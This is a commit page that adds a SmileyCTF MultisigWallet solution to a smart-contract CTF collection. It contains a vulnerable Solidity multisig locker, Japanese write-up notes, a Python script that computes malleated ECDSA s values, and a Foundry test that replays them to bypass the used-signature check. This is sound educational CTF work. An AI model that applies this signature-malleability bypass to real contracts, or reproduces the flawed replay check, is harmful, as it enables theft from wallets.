Skip to content

Commit 890af59

Browse files
committed
add SmileyCTF MultisigWallet
1 parent 862e688 commit 890af59

File tree

8 files changed

+282
-1
lines changed

8 files changed

+282
-1
lines changed

.github/workflows/test.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ jobs:
3636
- name: Install Python
3737
uses: actions/setup-python@v5
3838
with:
39-
python-version: '3.11'
39+
python-version: '3.13'
4040
cache: 'pip'
4141

4242
- name: Install Vyper

README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,7 @@ If there are any incorrect descriptions, I would appreciate it if you could let
4646
- [Oracle manipulation attacks with flash loans](#oracle-manipulation-attacks-with-flash-loans)
4747
- [Sandwich attacks](#sandwich-attacks)
4848
- [Recoveries of private keys by same-nonce attacks](#recoveries-of-private-keys-by-same-nonce-attacks)
49+
- [ECDSA signature malleability attacks](#ecdsa-signature-malleability-attacks)
4950
- [Brute-forcing addresses](#brute-forcing-addresses)
5051
- [Recoveries of public keys](#recoveries-of-public-keys)
5152
- [Encryption and decryption in secp256k1](#encryption-and-decryption-in-secp256k1)
@@ -435,6 +436,15 @@ Note:
435436
| [Paradigm CTF 2021: Babycrypto](src/ParadigmCTF2021) | |
436437
| [MetaTrust CTF: ECDSA](src/MetaTrustCTF/ECDSA/) | |
437438

439+
### ECDSA signature malleability attacks
440+
- ECDSA signatures have a property called malleability, where for a given message and signature `(v, r, s)`, there exists another valid signature `(v', r, -s mod n)` for the same message.
441+
- This can be exploited in systems that track used signatures, as the alternative signature may not be recognized as already used.
442+
- In Ethereum's secp256k1 curve, this property can be used to bypass signature verification mechanisms.
443+
444+
| Challenge | Note, Keywords |
445+
| ---------------------------------------------------------- | ---------------------------------------- |
446+
| [SmileyCTF: MultisigWallet](src/SmileyCTF/MultisigWallet/) | ECDSA, signature malleability, secp256k1 |
447+
438448
### Brute-forcing addresses
439449
- Brute force can make a part of an address a specific value.
440450

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Test, console} from "forge-std/Test.sol";
5+
import {SetupLocker, Locker, signature} from "./challenge/Locker.sol";
6+
7+
contract ExploitTest is Test {
8+
address playerAddr = makeAddr("player");
9+
SetupLocker setup;
10+
Locker locker;
11+
signature[] signatures;
12+
13+
function setUp() public {
14+
vm.deal(playerAddr, 1 ether);
15+
setup = new SetupLocker(playerAddr);
16+
locker = Locker(setup.deploy());
17+
}
18+
19+
function test() public {
20+
vm.startPrank(playerAddr, playerAddr);
21+
22+
// python src/SmileyCTF/MultisigWallet/calculateSignature.py
23+
signatures.push(
24+
signature({
25+
v: 28,
26+
r: 0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9,
27+
s: 0x90cd9cb819a5174da7cf411180c5bc89c57933efc06d4e19d0184f74e3479798
28+
})
29+
);
30+
signatures.push(
31+
signature({
32+
v: 27,
33+
r: 0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7,
34+
s: 0x96bbcfdfa5949da337af916badf752cbfbe59762eff9df25664b559919d7f831
35+
})
36+
);
37+
signatures.push(
38+
signature({
39+
v: 28,
40+
r: 0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d,
41+
s: 0x93f37ba485770a5dc692808a4ac952a73ef12a68068868d21679abe2f9c5296f
42+
})
43+
);
44+
45+
bytes32 msgHash = locker.msgHash();
46+
for (uint256 i = 0; i < signatures.length; i++) {
47+
signature memory sig = signatures[i];
48+
address recoveredAddress = ecrecover(msgHash, sig.v, sig.r, sig.s);
49+
console.log("Recovered address:", recoveredAddress);
50+
}
51+
52+
locker.distribute(signatures);
53+
54+
vm.stopPrank();
55+
56+
assertTrue(setup.isSolved(), "Challenge not solved");
57+
}
58+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
- CTF期間中はインフラが壊れていて取り組めなかった
2+
3+
## Overview
4+
- 添付ファイルとして Setup.sol と Locker.sol が与えられる
5+
- Locker.sol に Setup コントラクトの実態である SetupLocker コントラクトがあるからこれを読む
6+
- SetupLocker の deploy 関数は誰でも呼び出せるが、インスタンスが返るだけで、インスタンスアドレスは `challenge` にセットされない
7+
- (これは作問ミスだったらしい)
8+
- ![](assets/image.png)
9+
- Locker はマルチシグウォレットで、deploy 関数呼び出し時に指定した 3 つの署名によって Locker が初期化される
10+
- validateMultiSig 関数を呼び出すと署名が正しいか検証されるが、一度使用した署名は利用できない
11+
- 当然、deploy 時に使った署名も使用できない
12+
- また、その署名に結びつくコントローラーの秘密鍵はわからない
13+
14+
## Solution
15+
- 前提: Ethereum の ECDSA 署名において楕円曲線は secp256k1 を使っている
16+
- あるメッセージにおいて、`(v, r, s)``(v', r, -s mod n)` の二種類の署名が存在する
17+
- ここで、`n` は secp256k1 曲線の order
18+
- また、トランザクションは EIP-2 によって、order の半分より大きいと無効になるが、`ECRECOVER` は禁止されていない
19+
- 3つの署名の `(v', r, -s mod n)` を生成し、`distribute` を実行することで署名検証をパスし、 `isSolved``true` にできる
Lines changed: 3 additions & 0 deletions
Loading
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
curve_order = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
2+
3+
s1 = -0x6f326347e65ae8b25830beee7f3a4374f535a8f6eedb5221efba0f17eceea9a9 % curve_order
4+
s2 = -0x694430205a6b625cc8506e945208ad32bec94583bf4ec116598708f3b65e4910 % curve_order
5+
s3 = -0x6c0c845b7a88f5a2396d7f75b536ad577bbdb27ea8c03769a958b2a9d67117d2 % curve_order
6+
7+
print(f"s1: {hex(s1)}")
8+
print(f"s2: {hex(s2)}")
9+
print(f"s3: {hex(s3)}")
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
// SPDX-License-Identifier: MIT
2+
3+
pragma solidity ^0.8.0;
4+
5+
import {Setup} from "./Setup.sol";
6+
/**
7+
* @title Locker
8+
* @author BrokenAppendix
9+
*/
10+
11+
struct signature {
12+
uint8 v;
13+
bytes32 r;
14+
bytes32 s;
15+
}
16+
17+
event LockerDeployed(
18+
address lockerAddress, uint256 lockId, uint8[] v, bytes32[] r, bytes32[] s, address[] controllers, uint256 threshold
19+
);
20+
21+
// SlockDotIt ECLocker factory
22+
contract Locker {
23+
uint256 public immutable lockId;
24+
bytes32 public immutable msgHash;
25+
address[] public controllers;
26+
uint256 public immutable threshold;
27+
uint256 public tokens;
28+
29+
mapping(bytes32 => bool) public usedSignatures;
30+
31+
constructor(uint256 _lockId, signature[] memory signatures, address[] memory _controllers, uint256 _threshold) {
32+
require(_controllers.length >= _threshold && _threshold > 0, "Invalid config");
33+
34+
lockId = _lockId;
35+
threshold = _threshold;
36+
controllers = _controllers;
37+
tokens = 1;
38+
39+
// Compute the expected hash
40+
bytes32 _msgHash;
41+
assembly {
42+
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
43+
mstore(0x1C, _lockId)
44+
_msgHash := keccak256(0x00, 0x3c)
45+
}
46+
msgHash = _msgHash;
47+
48+
validateMultiSig(signatures);
49+
50+
// Flatten signature arrays
51+
uint8[] memory vArr = new uint8[](signatures.length);
52+
bytes32[] memory rArr = new bytes32[](signatures.length);
53+
bytes32[] memory sArr = new bytes32[](signatures.length);
54+
55+
for (uint256 i = 0; i < signatures.length; i++) {
56+
vArr[i] = signatures[i].v;
57+
rArr[i] = signatures[i].r;
58+
sArr[i] = signatures[i].s;
59+
}
60+
61+
emit LockerDeployed(address(this), lockId, vArr, rArr, sArr, controllers, threshold);
62+
}
63+
64+
function distribute(signature[] memory signatures) external {
65+
validateMultiSig(signatures);
66+
tokens -= 1;
67+
}
68+
69+
function isSolved() external view returns (bool) {
70+
return tokens == 0;
71+
}
72+
73+
function validateMultiSig(signature[] memory signatures) public {
74+
address[] memory seen = new address[](controllers.length);
75+
uint256 validCount = 0;
76+
for (uint256 i = 0; i < signatures.length; i++) {
77+
address recovered = _isValidSignature(signatures[i]);
78+
require(!_isInArray(recovered, seen), "Same signer cannot sign multiple times");
79+
80+
// Ensure no duplicate
81+
for (uint256 j = 0; j < validCount; j++) {
82+
require(seen[j] != recovered, "Duplicate signer");
83+
}
84+
85+
/// seenの上書きはできるっちゃできる
86+
/// が、それができるならそもそもdistributeもできる
87+
seen[validCount] = recovered;
88+
validCount++;
89+
}
90+
require(validCount == threshold, "Not enough valid signers");
91+
}
92+
93+
function _isValidSignature(signature memory sig) internal returns (address) {
94+
uint8 v = sig.v;
95+
bytes32 r = sig.r;
96+
bytes32 s = sig.s;
97+
address _address = ecrecover(msgHash, v, r, s);
98+
require(_isInArray(_address, controllers), "Signer is not a controller");
99+
100+
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
101+
require(!usedSignatures[signatureHash], "Signature has already been used");
102+
usedSignatures[signatureHash] = true;
103+
return _address;
104+
}
105+
106+
function _isInArray(address addr, address[] memory arr) internal pure returns (bool) {
107+
for (uint256 i = 0; i < arr.length; i++) {
108+
if (arr[i] == addr) return true;
109+
}
110+
return false;
111+
}
112+
}
113+
114+
/**
115+
* @dev This is the Setup Contract which checks if the challenge is solved or not
116+
* (not a part of the challenge)
117+
*/
118+
119+
// Private Keys randomly generated online
120+
// Signatures generated in signature_generator.js
121+
// Signatures retrieved by player by reading events in read_signatures.js
122+
123+
contract SetupLocker is Setup {
124+
constructor(address player_address) payable Setup(player_address) {}
125+
126+
signature[] signatures;
127+
address[] controllers;
128+
129+
function deploy() public override returns (address) {
130+
uint256 lockId = 0;
131+
signatures.push(
132+
signature({
133+
v: 27,
134+
r: 0x36ade3c84a9768d762f611fbba09f0f678c55cd73a734b330a9602b7426b18d9,
135+
s: 0x6f326347e65ae8b25830beee7f3a4374f535a8f6eedb5221efba0f17eceea9a9
136+
})
137+
);
138+
signatures.push(
139+
signature({
140+
v: 28,
141+
r: 0x57f4f9e4f2ef7280c23b31c0360384113bc7aa130073c43bb8ff83d4804bd2a7,
142+
s: 0x694430205a6b625cc8506e945208ad32bec94583bf4ec116598708f3b65e4910
143+
})
144+
);
145+
signatures.push(
146+
signature({
147+
v: 27,
148+
r: 0xe2e9d4367932529bf0c5c814942d2ff9ae3b5270a240be64b89f839cd4c78d5d,
149+
s: 0x6c0c845b7a88f5a2396d7f75b536ad577bbdb27ea8c03769a958b2a9d67117d2
150+
})
151+
);
152+
controllers.push(0x9dF23180748A2E168a24F5BBAB2a50eE38A7d309);
153+
controllers.push(0x8Ab87699287fe024A8b4d53385AC848930b19FfF);
154+
controllers.push(0x10Bab59adbDd06E90996361181b7d2129A5Eeb5A);
155+
uint256 threshold = 3;
156+
157+
Locker _instance = new Locker(lockId, signatures, controllers, threshold);
158+
159+
/// 作問ミスを修正
160+
challenge = address(_instance);
161+
162+
return address(_instance);
163+
}
164+
165+
function isSolved() external view override returns (bool) {
166+
return Locker(challenge).isSolved();
167+
}
168+
}
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
abstract contract Setup {
5+
address public challenge;
6+
address public player;
7+
8+
constructor(address _player) {
9+
player = _player;
10+
}
11+
12+
function deploy() public virtual returns (address);
13+
function isSolved() external view virtual returns (bool);
14+
}

0 commit comments

Comments
 (0)